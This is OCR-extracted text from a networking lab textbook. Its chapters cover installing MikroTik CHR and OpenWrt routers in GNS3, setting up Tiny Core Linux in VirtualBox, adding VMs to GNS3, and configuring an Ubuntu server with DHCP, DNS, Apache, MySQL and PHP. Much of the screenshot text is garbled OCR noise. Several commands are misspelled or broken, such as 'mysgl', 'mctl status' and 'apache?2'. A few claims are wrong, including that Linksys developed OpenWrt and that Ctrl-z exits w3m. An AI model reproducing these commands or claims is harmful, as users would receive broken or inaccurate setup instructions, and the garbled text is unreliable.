* MikroTik Cloud Hosted Router version 7.6 128.0 MB Missing files

chr-7.6.img 128.0 MB Missing
* MikroTik Cloud Hosted Router version 7.3.1 128.0 MB Missing files
chr-7.3.1.img 128.0 MB Missing
* MikroTik Cloud Hosted Router version 7.1.5 128.0 MB Missing files
chr-7.1.5.img 128.0 MB Missing
* MikroTik Cloud Hosted Router version 6.49.6 64.0 ME Missing files
chr-6.49.6.img 840 MB Missing
* MikroTik Cloud Hosted Router version 6.48.6 64.0 ME Missing files
chr-6.48.6.img 640 MB  Missing
Import Download Allow custom files | Create a new version Refresh

Appliance info < Back Next = Cancel
Figure 8 - Correct the missing files for the MikroTik router
€ Open X
& > v 1 i > Downloads v (@] Search Downloads R
Organize * New folder = - [ o
> @ Mathew - Embny Name Date modified Type Size I
~ Today
@ Deskiop » e chr-7.10.1.img 7/25/2023 10:58 AM Compressed (zipped) Folder 39,301 KB
L Downloads # D mikrotik-chr 7/25/2023 10:57 AM GNS3 Appliance File 6KB
& Documents # chr-7.10.1.img 7/25/2023 10:58 AM File folder
~ Last month
P Pictures »
D CorePlus-current 6/20/2023 11:46 AM Disc Image File 253,952 KB
@ Music »
D 04d56cfd-6e41-4518-961b-cacB68e7ebaetmp 6/19/2023 7:42 PM TMP File 0KB
B3 videos »
@ chr-7.7.img 6/16/2023 3:20 PM Compressed (zipped) Folder 38,366 KB
Simple LAN
File name: | | AnFites v
Open Cancel

Figure 9 - Navigate to where the image file was saved after unzipping
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& Install MikroTik CHR appliance

Required files

Please select one version of MikroTik Cloud Hosted Router and import the required files. Files are searched in your downloads and

GNS3 images directories by default

39

Appliance version and files Size Status

MikroTik Cloud Hosted Router version 7.10.1 128.0 MB Ready to install
» MikroTik Cloud Hosted Router version 7.7 128.0 MB Ready to install
* MikroTik Cloud Hosted Router version 7.6 128.0 MB Missing files

chr-7.6img 128.0 MB Missing

* MikroTik Cloud Hosted Router version 7.3.1 128.0 MB Missing files
chr-7.3.1.img 128.0 MB Missing

* MikroTik Cloud Hosted Router version 7.1.5 128.0 MB Missing files
chr-7.1.5.img 128.0 MB Missing

* MikroTik Cloud Hosted Router version 6.49.6 64.0 ME Missing files
chr-6.49.6.img 64.0 MB  Missing

* MikroTik Cloud Hosted Router version 6.48.6 64.0 ME Missing files
chr-6.48.6.img 840 MB Missing

Allow custom files

Create a new version

Refresh

Figure 10 - Installing the MikroTik CHR router

Appliance info

< Back

Next =

Cancel
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3 nstall MikroTik CHR appliance 7 X

Usage
Please read the following instructions in order to use your new appliance. )

The template will be available in the router category.
If you'd like a different sized main disk, resize the image before booting the WM for the first time.

On first boot, RouterOS is actually being installed, formatting the whole main virtual disk, before finally rebooting. That whole process may take
a minute or so.

The console will become available after the installation is complete. Most Telnet/SSH clients (certainly SuperPutty) will keep retrying to connect,
thus letting you know when installation is done.

From that point on, everything about RouterQS is also true about Cloud Hosted Router, including the default credentials: Username "admin" and
an empty password.

The primary differences between Router0S and CHR are in support for virtual devices (this appliance comes with them being selected), and in
the different license model, for which you can read more about at hitp://wiki.mikrotik.com/wiki/Manual: CHR.

Appliance info < Back Finish Cancel

Figure 11 - Finish the addition of a MikroTik router to the GNS3 environment
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@ untitled777 - GNS3 = a b
File Edit View Control Node Annotate Tools Help
% OF>)> HC Fmllo- §QQE
Routers | Topology Summary
Filter

& MikroTik CHR 7.10.1

Ui Oh S

= tiew template <]

MikroTikCHR7.10.1-1

Node Console

© MikroTikCHR7.10.1-1 telnet 192.168.56.113:5000

Servers Summary
©) Dr_HVH CPU 2.1%, RAM 39.6%
» ) GNS3 VM (GNS3 VM) CPU 12%, RAM 36.3%

Console

Copyright (c) 2006-2023 GNS3 Technologies.
Use Help -> GNS3 Doctor to detect common issues.

=> Cannot install MikraTik CHR version 7.10.1: File chr-7.10.1.img with checksum 917729e73b9992562f4160d461b21.cac not found for MikroTik CHR

Figure 12 - MikroTik Router successfully installed to the GNS3 Working Environment

51 error



42 MATHEW J. HEATH VAN HORN, PHD

CHAPTER 4

Installing an OpenWRT Router in GNS3

MATHEW J. HEATH VAN HORN, PHD

OpenWrt (Open Wireless Router) is an open-source router software developed by Linksys. This free software best
mimics the typical home router found in most residences.

LEARNING OBJECTIVES

+ Successfully download, install, and run OpenWrt in a GNS3 environment

PREREQUISITES

+ Chapter 2 - Setting up a GNS3 Environment

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

* GNS3 Documentation - https://docs.gns3.com/docs

+ OpenWrt Download - https://openwrt.org/downloads

+ OpenWrt Documentation - https://openwrt.org/docs/start

CONTRIBUTORS AND TESTERS

* Quinton D. Heath Van Horn, 7th Grade

+ David Reese, Mathematics Student, SUNY Brockport

+ Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni

+ Salvador Morales, Safety Management System Analyst, ERAU-Prescott Alumni
+ Evan Paddock, Cybersecurity Student, ERAU-Prescott

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott
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INSTALLING AN OPENWRT ROUTER IN GNS3

+ Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

Phase | - Installing OpenWrt

This is an abbreviated installation walkthrough. This lab is used to support other labs in this text. This portion
covers the download and installation of OpenWrt in the GNS3 environment. This lab is very similar to Chapter 3 -
Installing a MikroTik router.

| S PRI

= Control MNode Annotate Tools H

o B e B
e O > D>

Routers 3]

9 Filter
W MikroTik CHR 7.10.1

=» W MikroTik CHR 7.11.2
= W) OpenWit 23.05.0

=

Figure 9 - OpenWrt appears in the router appliance menu

1. Visit https://www.gns3.com/marketplace/appliances and log in (Figure 1)

2. Go to Marketplace
3. Select Appliances on the left

4. Search for OpenWrt

5. Click on the OpenWrt Appliance (not the OpenWrt Realview) and then click the download button

(Figure 2)

6. On the same download screen, scroll down to download the most recent image file. Once
downloaded, unzip it (Figure 3)

7. Start the GNS3 Workspace. Once the lights are green, select File — Import Appliance (Figure 4)
8. Select the OpenWrt appliance you downloaded earlier and select open (Figure 5)

9. Install the appliance on the GNS3 VM. Use the default Qemu Settings (Figure 6)
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10. Select the Missing Files for the version of OpenWrt you downloaded earlier and select Import
(Figure 7)

11. Select the image file you unzipped earlier and click Open (Eigure 7)
12. It should now say Ready to install. Click on the file and click Next (Figure 8)
13. Once it finishes, then it will appear in the router appliance menu (Figure 9)

End of Lab

List of Figures

&) 22 gns3.com/marketplace/appliances

@ Software  Documentation = Community  Marketplace  Academy y Mathew

Marketplace &) Appliances
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Figure 2 - Download OpenWrt
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Figure 5 - Select the OpenWrt appliance



48 MATHEW J. HEATH VAN HORN, PHD

6.

Server =
Please choose a server type to install the appliance. The grayed out server types are not supported or configured. @

Server type

Appliance info Mext > Cancel

Figure 6 - Install the OpenWrt appliance
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CHAPTER 5

Installing Tiny Core Linux

MATHEW J. HEATH VAN HORN, PHD

Tiny Core Linux is a very lightweight operating system (OS) that is easily configurable to meet a wide variety of
needs. Unlike other OSs that require gigabytes (GB) of hard drive space and RAM, Tiny Core Linux requires less
than 250 megabytes (MB) of hard drive space and only 23 MB of RAM. This makes it uniquely suited for us to use
in this textbook to emulate an enterprise network architecture.

Tiny Core Linux uses a lot of command line interface (CLI) commands, so please pay attention to detail when
following these instructions.

LEARNING OBJECTIVES

+ Install Tiny Core Linux in VirtualBox

+ Add Tiny Core Linux to the GNS3 appliance repository

PREREQUISITES

+ Chapter 2 - Setting Up a GNS3 Environment

DELIVERABLES

* None - this is a preparatory lab for other labs

RESOURCES

« Tiny Core Linux Main Website - http://tinycorelinux.net/

CONTRIBUTORS AND TESTERS

* Jacob M. Christensen, C.I.S. Student, ERAU-Prescott

+ Julian Romano, C.1.S. Student, ERAU-Prescott

+ Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni
+ Evan Paddock, Cybersecurity Student, ERAU-Prescott
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+ Dante Rocca, Cybersecurity Student, ERAU-Prescott
+ Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

Phase | - Download and Install in VirtualBox

Tiny Core Linux is very lightweight. It primarily runs in RAM to increase its operating speed.

B iy e e o

P e i

s mERpso

Figure 0.5 - Tiny Core Linux running in VirtualBox

1. Download the Tiny Core Linux iso file named “CorePlus” from http://tinycorelinux.net/
downloads.html

Note: iso is used as a nickname for an optical disk image adhering to the ISO 9660 file system.

2. The file is so small it isn't zipped
3. Open The Oracle VirtualBox Manager and click on New (Eigure 1)
4. Complete the VM form (Eigure 2)
4.1. Choose a name - In this lab, we called it “TinyCoreLinux”
4.2. Use the ISO dropdown menu to select the CorePlus-current.iso you downloaded in Step 1
4.3. Use the Type drop-down menu to select Linux
4.4, Use the Version drop-down menu to select Other Linux (64-bit)

4.5. Press Next
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5. Decrease the Base Memory to 256 MB and press Next (Figure 3)
6. Decrease the Virtual Hard Disk to 500 MB and press Next (Figure 4)
7. Atthe summary screen, press Finish (Figure 5)

8. Start the TinyCoreLinux VM

NOTE: Some testers had to explicitly tell the VM to capture their mouse commands. To do this,
navigate to the VM menu at the top of the VM window and under Input open the drop-down menu and
select Mouse Integration (Figure 6)

NOTE: Remember - to release the mouse from a VirtualBox VM - press the right-side ctrl key

9. Use the arrow keys to select Boot Core with X/GUI (TinyCore) + Installation Extension (Figure 7)
10. Press enter to start the boot process in this mode

11. Once it starts (takes a few seconds), you will see the main screen. At the bottom of the screen, you
can hover your mouse over the icons and right-click the Install icon (Figure 8)

12. Manage the settings in the Tiny Core Installation menu (Figure 9)

12.1. Select Whole Disk

12.2. Highlight sda as the disk

12.3. Select Install boot loader

12.4. Press the right arrow at the bottom of the settings to go to the next menu
13. Leave the formatting options at their default and press the right arrow (Figure 10)

14. In the boot options reference list, type the following in the blank field at the bottom (Figure 11)

home=sdal opt=sda1

15. Press the right arrow
16. On the Install Type menu, leave the defaults and press the right arrow (Figure 12)

17. Review the installation information and press Proceed (Figure 13)
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18. When the installation has finished (Figure 14), shut down the VM (Figure 15)

19. Return to the VM VirtualBox manager and adjust the settings for the TinyCoreLinux VM by clicking
on settings (Figure 16)

20. In settings, navigate to Storage, right-click the iso, and click Remove Attachment (Figure 17). This
forces the VM to boot from the virtual hard disk instead of the iso

21. Click OK

22. Start the TinyCoreLinux VM to ensure it boots from the virtual hard drive. Notice that the Install icon
no longer appears (Figure 18)

Phase Il - Creating persistance in Tiny Core Linux

Tiny Core Linux discards all changes made when it shuts down. This is great for getting a fresh start but can be
a pain when we want to keep something. To persistently save material when the VM shuts down, we need to use
the backup feature. In this section, we will create a test file and use the backup feature to keep the information.

1. Start the TinyCore Linux or resume from the install
2. Onthe main page, click on the third icon Control Panel (Eigure 19)

3. Under the maintenance section, click Backup/Restore and another window will open. Click on Included
for Backup (filetool.Ist) and you can see which directories and files are saved automatically on shutdown
with backup (Figure 20)

4. According to this information, files saved in the opt and home directories will be backed up

5. Close the windows

6. Open a blank text file by clicking on the editor icon (Figure 21)

7. Type in anything in the textbox and then use the mouse to select File -> Save File As... (Figure 22)

8. In the File Save As window, leave the default settings and add the file name test.txt (Figure 23), and
click ok

9. Now click on the Exit icon at the bottom, and on the exit options, select Reboot and backup options
Backup and then press ok (Figure 24)

10. After the VM restarts, open the editor again, and this time click File -> Open File. In the new window,
you should see the file you saved earlier (Figure 25)
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11. You can open it again if you want, but seeing it listed is good enough to know that data persistence
via backup is working

End of Lab
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Figure 2 - Completing the VirtualBox VM form
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| §§ Create Virtual Machine ? X
Hardware
ou can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.
Enabling EFI is also possible.
Base Memory: e T TS 256 MB :

4 MB 32768 MB
Processors: ¥ . : , : : : 1 :
1CPU 8 CPUs

(] Enable EFI (special OSes only

¢

Help Back Next Cancel

Figure 3 - decrease the memory to 256MB
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~d
X

_ !fj Create Virtual Machine

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either create a new
hard disk file or select an existing one. Alternatively you can create a virtual machine without a
virtual hard disk.

© Create a Virtual Hard Disk Now
Disk Size: . . . .« . . . v S00MB |
4,00 MB 200TB
(] Pre-allocate Full Size
() Use an Existing Virtual Hard Disk File [

remnux-v7-focal-disk001.vdi (Normal, 60.00 GB)

() Do Mot Add a Virtual Hard Disk

Help Back Next Cancel

Figure 4 - Decrease the Virtual Hard Disk to 500 MB
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| §§ Create Virtual Machine ? X

Summary

The following table summarizes the configuration you have chosen for the new virtual machine.
When you are happy with the configuration press Finish to create the virtual machine.
Alternatively you can go back and modify the configuration.

’{:? Machine Name and 0S5 Type
Machine Name TinyCoreLinux
Machine Folder C:/Users/mheat/VirtualBox VYMs/TinyCoreLinux
IS0 Image C:\Users\mheat\Downloads\CorePlus-current.iso
Guest 0S Type Other Linux (64-bit)
Skip Unattended Install false

Q Hardware
Base Memory 512
Processor(s) 1
EFI Enable false

2| Disk
Disk Size 8.00 GB
Pre-allocate Full Size false

Help Back Finish Cancel

Figure 5 - Finish the VM changes

ﬂ TinyCorelinux [Running] - Oracle VM VirtualBox B & i

File Machine View [Input Devices Help

@ Keyboard

Mouse Integration

Figure 6 - Mouse integration in VirtualBox VMs
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@

Core plus networking, installation, and remastering.

Boot Core Plus with default FLWHM topside.

Boot Core Plus with Joe's Window Manager.

Boot Core Plus with ICE Window Manager.

Boot Core Plus with Fluxbox Window Manager.

Boot Core Plus with Hackedbox Window Manager.

Boot Core Plus with Openbox Window Manager.

Boot Core Plus with FLWM Classic Window Manager.

Boot Core with only X-GUI (TinyCore).

Boot Core with X-GUI (TinyCore) + Installation Extension.
Boot Core with X-/GUI (TinyCorel) + Wifi Extension.

Boot Core with X GUI (TinyCorel) + Wifi + Firmware.

Boot Core to command line only. Mo X-/GUI or extensions.
Boot Core without embedded extensions with waitusbh=5.

Boot Core with flum_topside, XsGUI, and the installation extension.
Extensions are loaded mount mode. Boot media is not removable.
ze ThB to edit desktop= to boot to alternate window manager.

|’ @f] [ ¥ right crr

) I. I\_I. ~ I:._/J

Figure 7 - First time boot instructions for TinyCore Linux
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TinyCoreLinux [Running] - Oracle VM VirtualBox = O X

File Machine View Input Devices Help

Figure 8 - Install TinyCore Linux
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ﬁ:] TinyCorelinux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Tir 1y Core Installation

mntisri/hootcore.gz

Figure 9 - Managing the settings in TinyCore installation menu
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TinyCorelLinux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Tiny Care |Installation

Figure 10 - Leave the formatting options alone
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ﬂ TinyCoreLinux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
‘Tiny Core Installation CIoOx
Tiny Core Installation

Boot Options Reference List
Tiny Core accepts the following persiztence optionsi E
tee=thdall=dallt Specify Restore TCE apps directory
restore=thdallsdal | floppyt Specify saved configuration location 5
waitusb=¥ Wait ¥ secondsz for zlow USE devices ?
swapfilef=hdallt Scan or Specify swapfile
home={hdal | sdal} Specify perzistent home directory
opt={hdal | sdalt Specify persistent opt directory
local=1hdall=dal} Specify PPI directory or loopback file
lat=yyy,lst Load alternate static yyy,lst on boot
mydat.a=yuuy Specify alternate backup file name
bhaze Skip TCE load only the baze system
norestore Turn off the automatic restore
zafebackup Saves a backup copy (mydatabk,tgz)
showapps Dizplay application names when booting
WO T xE T From table (See below)
ot n Permmnt e o Yoo o atn

[«] S

Enter Spaces Separated Options From Examples Above.

These can be edited later on via your boctloader config.
'home=sda1 opt=sda] ]

L

Figure 11 - Set the home and optional drives to use by default
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,
E TinyCorelLinux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

ore Installation

Figure 12 - Leave the install type defaults
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[ linyLoreLinux [Running] - Wracle ViVl Virtualbsox

File Machine View Input Devices

ore Instaliation

Source: fmnt/sri/boot/core.gz
Type: frugal

Target sda

Formatextd

Options: home=sdal opt=sdal
Install = GUI

Figure 13 - Review the installation information before proceeding
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l=ore Instaliation

Wiriting Zero's to beginning of /dew/sda
Partitioning /dew/sda
Formatting /dew/sdal
UUID="Beazc0ci-fE5h-4e7E-bho5-1fddb3073a81"

Applying e

Figure 14 - Installation indicates finished
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E:] TinyCorelLinux [Running] - Oracle VM VirtualBox = O X
Filer Machine View Input Devices Help
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Pause Host+P
Reset Host+R

Cand tha ACDT Chitdnwn cianal tn the (-'] m {)]: Vﬁ‘ /@i - Iill I'ﬁ A ‘pl Dinaht+ el

Figure 15 - Shut down the VM from within the VM
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Figure 16 - Configuring the VM again
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Figure 18 - The install icon no longer appears which means it is booting from the virtual drive instead of the iso
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Figure 19 - Configure the TinyCore VM for persistence
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Figure 20 - Changing the backup/restore settings
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Figure 21 - Open a blank text file
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TinyCoreLinux [Running] - Oracle VM VirtualBox = O X
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Figure 22 - Type anything and save the document
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Figure 23 - Save the text file
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Figure 24 - Reboot and Backup
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Figure 25 - Checking to see the file was retained after reboot
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CHAPTER 6

Adding a Virtual Machine to GNS3

MATHEW J. HEATH VAN HORN, PHD

GNS3 is unique from other simulators such as Cisco’s Packet Tracer. With GNS3, you can add any VM you create
in VirtualBox and use it within the GNS3 environment. The purpose of this lab is to give you experience in creating
GNS3 appliances using VMs

LEARNING OBJECTIVES

+ Create GNS3 appliances using VirtualBox VMs

PREREQUISITES

* Oracle VirtualBox installed with at least one functional VM

+ Chapter 2 - Setting up a GNS3 environment

DELIVERABLES

* None - this is a preparatory lab for other labs

RESOURCES

+ GNS3 Documentation - https://docs.gns3.com/docs/

CONTRIBUTORS AND TESTERS

* Jacob M. Christensen, C.I.S. Student, ERAU-Prescott

Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni
+ Evan Paddock, Cybersecurity Student, ERAU-Prescott

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

+ Sawyer Hansen, Cybersecurity Student, ERAU-Prescott
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Phase | - All the steps required

This is pretty straightforward. In this lab, we are using Windows server VM as the example, but any VM in
VirtualBox can be used.
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Figure 5 - Screenshot of the VM showing in GNS3 Workspace

1. Open Virtual Box and choose a VM you want to import into GNS3

2. Start GNS3

3. Create anew lab

4. On the GNS3 menu, navigate to Edit and then Preferences (Figure 1)

5. Select VirtualBox VMs and you will see the VirtualBox VMs already added to GNS3
6. Select new at the bottom of the window (Figure 2)

7. Make sure the radio button for running the VM on my local computer is selected and click on Next
(Figure 3)

8. You will now see a window with a drop-down box to select any of the VMs that are loaded in
VirtualBox; in this example, we will select Windows Server 2022 for GNS3 (Figure 4)

9. Click Finish
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10. To edit the properties of the VM, click edit on the bottom left of the window
10.1. Here you can change things such as the default symbol, device name, RAM, etc

10.2. In the Network tab, make sure to check the Allow GNS3 to use any configured VirtualBox
adapter option box

10.3. When you are finished, make sure you click Apply or risk the VM not being added
11. Click OK
12. Click on the all devices button and you can now see our VM added to the appliance list (Figure 5)
13. You can drag the recently added VM to the GNS3 Workspace and start it (Figure 6)
14. When the VM starts it will run outside of GNS3, so look for it on your toolbar as a VM (Eigure 7)
15. That's it. Remember you can do this for any functional VM in VirtualBox. However, VMs use much

more resources than the emulated devices within GNS3. So if you add 10, Windows 11 VMs, you will
overload your host machine’s processor pretty fast
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& New VirtualBox VM template ? x
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Figure 3 - Radio button selected



ADD VM TO GNS3

& New VirtualBox VM template ? x

VirtualBox Virtual Machine
Please choose a VirtualBox virtual machine from the list, h

WM list: | GMS3 VM

[lac Mikrotix Vi

Windows Server 2022 for GNS3

<Back || Fnsh || Cancel |

Figure 4 - Adding Windows Server 2022
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CHAPTER 7

Create a Linux Server

JACOB CHRISTENSEN AND MATHEW J. HEATH VAN HORN, PHD

The Linux operating system has been increasing in popularity for many reasons. Most Linux platforms are free
and open-source with very active development communities. Linux is also very reliable in that it often does not
require reboots when something goes wrong. Furthermore, Linux is very customizable so only the features that
are required are installed. A bare-bones Linux distribution can run on as little as 58MB of RAM! Finally, most
applications on Linux are free and open-source.

L __-_._". el . |
A, 4 i ¥ o2 =

Used with permission by the artist - Romana A. Heath Van Horn

Many people are reluctant to use Linux because it generally uses a command line interface (CLI) instead of a
graphical user interface (GUI) like Windows or Apple. However, all those easy-to-use images require a lot of
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RAM and CPU power, so using CLI allows the operating system to focus on the essentials. We use Linux in
the GNS3 environment because it requires very little in the way of hardware resources. This allows us to build
complex enterprise networks without overloading our hosting machine. This lab will help you download, install,

and configure a Ubuntu Linux Server for use in a GNS3 environment.

LEARNING OBJECTIVES

Successfully download, install, and run Ubuntu Server in a GNS3 environment
Optional installs for later labs
Phase Il - DHCP Server - KIA

» Phase lll - DHCP Server - isc-dhcp-server

» Phase IV - DNS Server - BIND9

* Phase V - Text-Based Web Browser - w3m

* Phase VI - GUI - Ubuntu Desktop

= Phase VIl - Web Hosting Service - Apache2

PREREQUISITES

Chapter 2 - Setting up a GNS3 environment

Chapter 6 - Adding a VM to GNS3

DELIVERABLES

None - this is a preparatory lab that supports other labs in this book

RESOURCES

Download Ubuntu Server https://ubuntu.com/download/server

CONTRIBUTORS AND TESTERS

Quinton D. Heath Van Horn, 7th Grade

David Reese, Mathematics Student, SUNY Brockport

Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni
Evan Paddock, Cybersecurity Student, ERAU-Prescott

Dante Rocca, Cybersecurity Student, ERAU-Prescott

Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

Phase | - Download and Installation
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Installing Linux Server is pretty straightforward. We will use the Ubuntu distribution of Linux due to its
expansive documentation and support structure. However, learners will find that other Linux distributions follow
similar processes prescribed here.

Furthermore, various tools on the Ubuntu server will be used in part 2 of this book. It is highly recommended
that you install all of the optional tools in case you need them later.

1. Download Ubuntu Server from https://ubuntu.com/download/server

2. Start Oracle Virtual Box Manager

3. Click on New (Figure 1)
3.1. Pick a name, for this example, we use something clever like “Ubuntu Server”
3.2. Use the dropdown menu to select the Ubuntu Server ISO that you downloaded
3.3. Click Skip Unattended Installation
3.4. Click Next

3.5. You can leave the hardware on its defaults -> click next (Figure 2)

NOTE: If you are planning on installing the GUI interface you will need at least 50GB of hard
disk storage in the next step.

3.6. Leave the default Virtual Hard Disk settings —> click next (Figure 3)
3.7. Review the summary and click on Finish

4. Start the Ubuntu Server VM

5. Use the arrow keys to Install Ubuntu Server (Figure 4)

6. Use the arrow keys to select your language (Figure 5) and your keyboard

7. Use the arrow keys to select Ubuntu Server and press done (Figure 6)

8. Accept the default network connections and selectDone (Figure 7)

9. Enter a proxy address if you need one select Done (Figure 8)

10. Enter an alternative Mirror if you know you have one, otherwise, just select Done (Figure 9)
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11. Use the default storage configurations and select Done for both screens (Figure 10)
12. Confirm the action and select Continue (Figure 11)
12.1. For the profile information, the following is recommended (Figure 12)

Your Name: student

Your Servers Name: ubuntu_server

Pick a username: student

Chose a password: Security1
13. There is no need to update to Ubuntu Pro, so skip it for now (Figure 13) and continue
14. Select Install OpenSSH Server and continue (Figure 14)
15. No snaps are needed - select done (Figure 15)
16. Allow the installation and update to complete, then select Reboot Now (Figure 16)

17. You might have to hit enter a couple of times depending on the way your VirtualBox is configured

18. Login using the credentials you created earlier

NOTE: If you are new to Linux, you should know that the password cursor does not move. This is a
security feature to mask how many characters the password is. Anyone shoulder surfing can accelerate
their password brute force efforts by knowing the length of the password.

Phase Il - Install DHCP Server - Kea (Optional)

These are the instructions to install Kea as the DHCP server because it is replacing isc-dhcp which is no longer
supported. We found documentation limited, so for new learners, we recommend installing the isc-dhcp-server
which has expansive examples on the web that new learners can refer to as needed.

1. At the terminal prompt, type

sudo apt install kea

2. Kea can be configured by typing

sudo vi /etc/kea/kea-dhcpd.conf
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3. The instructions to configure Kea are included in the file
4. You can also use this guide to configure Kea

5. Use this guide to add the Ubuntu Server to the GNS3 Working Environment

Phase Il - Install DHCP Server - isc-dhcp-server

The isc-dhcp-server is no longer supported as of October 2022. However, it was in use for a long time and
there are many writeups on the web on different configurations. We felt it best to continue to have this option for
learners at this time.

1. Toinstall type

sudo apt install isc-dhcp-server

2. Some shortcut commands for future reference include:

2.1. To bind the DHCP server to an interface type

vi /etc/default/isc-dhcp-server

2.2. To configure type

sudo vi /etc/dhcp/dhcpd.conf

2.3. To test the configuration file type

dhcpd -t

2.4. To start the DHCP server type

sudo systemctl start isc-dhcp-server.service

2.5. To enable the DHCP service to start on boot type

sudo systemctl enable isc-dhcp-server.service
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2.6. To restart the DHCP server type

sudo systemctl restart isc-dhcp-server.service

2.7. To check the status of the DHCP server type

sudo systemctl status isc-dhcp-server.service

Phase IV - Install DNS Server - BIND9

Berkley Internet Name Domain (BIND) is the most popular software suite for DNS implementation on Linux
systems.

1. Install software and additional utilities

sudo apt install -y bind9 dnsutils bind9-utils

2. Modify configurations file

sudo nano /etc/bind/named.conf.options

3. Configure master zone declarations

sudo nano /etc/bind/named.conf.local

4. Start DNS daemon

sudo systemctl start named

5. Torestart

sudo systemctl restart named

6. To check status
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sudo systemctl status named

Phase V - Install a Text-Based Web Browser (Optional)

Occasionally you may want to visit the web from the Ubuntu Server that does not have a GUI. This is how you
install w3m.

1. Install by typing

sudo apt install w3m

2. Run by typing

w3m -v http://www.google.com

3. Exit the browser by pressing Ctrl-z

Phase VI - Install a GUI (Optional)

There could be times when you want a graphical user interface (GUI). Make sure your Linux VM has at least
50GB available on the hard drive. Use the default settings whenever prompted.

1. Toinstall the GUI type

sudo apt install ubuntu-desktop

2. Install the display manager by typing

sudo apt install lightdm

3. Enable the LightDM service by typing
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sudo systemctl start lightdm.service

4. To make sure it starts on boot type

sudo service lightdm start

5. You may have to restart the Ubuntu VM

sudo shutdown now -r

Phase VII - Install a web hosting service

Creating a web hosting service isn't that complicated, but there are a lot of steps. A web server requires a
platform, a database, and an interface. Follow these steps to create a local web hosting service and create a test
website that can be accessed.

1. Install a GUI on the Ubuntu Server by following the steps in Phase 6
2. Install Apache HTTP Server

2.1. Install Apache by typing

sudo apt install apache?2

2.2. Restart the Apache Server by typing

sudo service apache2 restart

2.3. Test thatitis running by opening Firefox and typing 127.0.0.1 in the address bar
2.4. Check that it says it works (Figure 17)
3. Install MySQL database management system

3.1. From a terminal install mySQL by typing
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sudo apt install mysgl-server

3.2. Verify it was installed by typing

sudo mysgl -v

3.3. Set the password validation by typing

sudo mysgl secure installation

3.3.1. Press y and set the password strength according to your needs
3.3.2. Pressyto remove anonymous users
3.3.3. Press y to disallow remote root login
3.3.4. Keep the test database by pressing n
3.3.5. Reload the privilege tables by pressing y
3.4. Test the operability of mysq|

3.4.1. Start mysql by typing

sudo mysgl -u root

3.4.2. Create a database by typing

create database <name>;

3.4.3. List all the databases by typing

show databases;

3.5. You should have a screen that looks like (Figure 18)
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3.6. To leave mysql and return back to the Ubuntu Server console, type

exit

4. Install PHP web-server scripting language module

4.1. From the terminal, install PHP by typing

sudo apt install php

4.2. View the version by typing

|
<

php

4.3. Make a check file by typing

sudo vi /var/www/html/info.php

4.3.1. Typeiand add the following information

4.3.2. Save the file by pressing the escape key followed by

4.4. Restart the Apache service by typing

sudo service apache2 restart

4.5. Test PHP by opening Firefox and typing the following into the web browser address bar

127.0.0.1/info.php

4.6. You should get the following screen (Figure 19)
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NOTE: if a service fails to start and you do not know why, try the following commands:

mctl status <service>

Record the service's process ID (PID) number.

journalctl PID=<pid number>

Look at the error logs closely, they often help locate the root of most issues!

End of Lab
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[ Help 1]
» for the installation.

Ve

{7 Ubuntu Serwver (minimized)

Additional options

Search for third-party drivers

@S =i Gl@ @ richt ctl

Figure 6 - Ubuntu Server
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F/

Network connections [ Help ]

Configure at least one interface this wer can use to talk to other machines,
and which pref b1y provid 1Tt icient for upda

eth - L
10.0.2.15/24

[ Create hond » ]

@S =i Gl@ @ richt ctl

Figure 7 - Accept default network connections
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Conf igure proxy [ Help 1]

tem reguires a proxy to connect to the internet, enter its details

Proxy address: |

@S =i Gl@ @ richt ctl

Figure 8 - Proxy address if needed
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Configure Ubuntu archive mirror [ Help ]

If you use an alternative mirror for Ubuntu, enter its details here.

Mirror addr St fp: A Sus . archive. ubuntu. comsubuntu

@S =i Gl@ @ richt ctl

Figure 9 - Alternative mirror if needed
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Gulded storage configuration [ Help ]

Configure a guided storage layout, or create a custom one:

an entire disk
I{_HARDDIS Sd16-3adddedl local dis
Set up this an L¥M group

[ 1 Encrupt the LWM group with LU

@S =i Gl@ @ richt ctl

Figure 10 - Use the default storage configurations
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configuration [ Help ]

Confirm destructive action

tallation pro

will not be
stallation ha

Are you sure you want to continue?

[ Mo
[ Continue

@S =i Gl@ @ richt ctl

Figure 11 - Confirm and continue
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Frofile setup [ Help 1]
M. You can
o eeded for
sudo.

Your name:  Shqul]ge

student

Your server's name:  ([FelgRauER=gy=1g

ch a3 ord: e

Contirm Jour ord:

[ Done

@S =i Gl@ @ richtctl

Figure 12 - Enter profile information
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[ Help ]

n a much wide
. HIFAA and other

[ about Ubuntu Pro = ]
i 17 Enable Ubuntu Pro

ip for now

@S =i Gl@ @ richtctl

Figure 13 - Skip updating to pro
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S5SH setup [ Help ]

: to enable secure remote

@S =i Gl@ @ richtctl

Figure 14 - Install OpenSSH server
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Featured Server Snaps [ Help 1]

EMTER to =
11e.

ﬁﬂmPl ell for ¥
11 to load and str

er AFI Tool.
N command
-Up =p
, OpEeEn

L]
|
=
L]
L]
L]
|
=
L]
L]
L]
|
=
L]
L]
L]
|
=
L]
L]
L]
|
|

Juju Juju - &

@S =i Gl@ @ richtctl

Figure 15 - No snaps needed
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tin in-t
mmand in-
tin curth

iew full log ]

;_junt Maw ]

[ Help ]

—only'

@S =i @ @ richtctl

Figure 16 - Reboot now
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Configuration Overview
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+ 4 Niewing <Apache2 Ubuntu Default Page:

Figure 17 - Apache installed
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—Oubuntug. 04,1 (Ubuntul
Oracle andsor its affiliates.

: of Orac
be tradem

Type 'help:;' or 'sh' for help. Type 'Sc' to clear the current input statement.

show data

B oS =il & @ @ riht cul

Figure 18 - mySQL is installed
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Ubuntu Server - webserver [Running] - Oracle VM VirtualBox — O b4
® Firefox Web Browser Ock 1 02:48 W

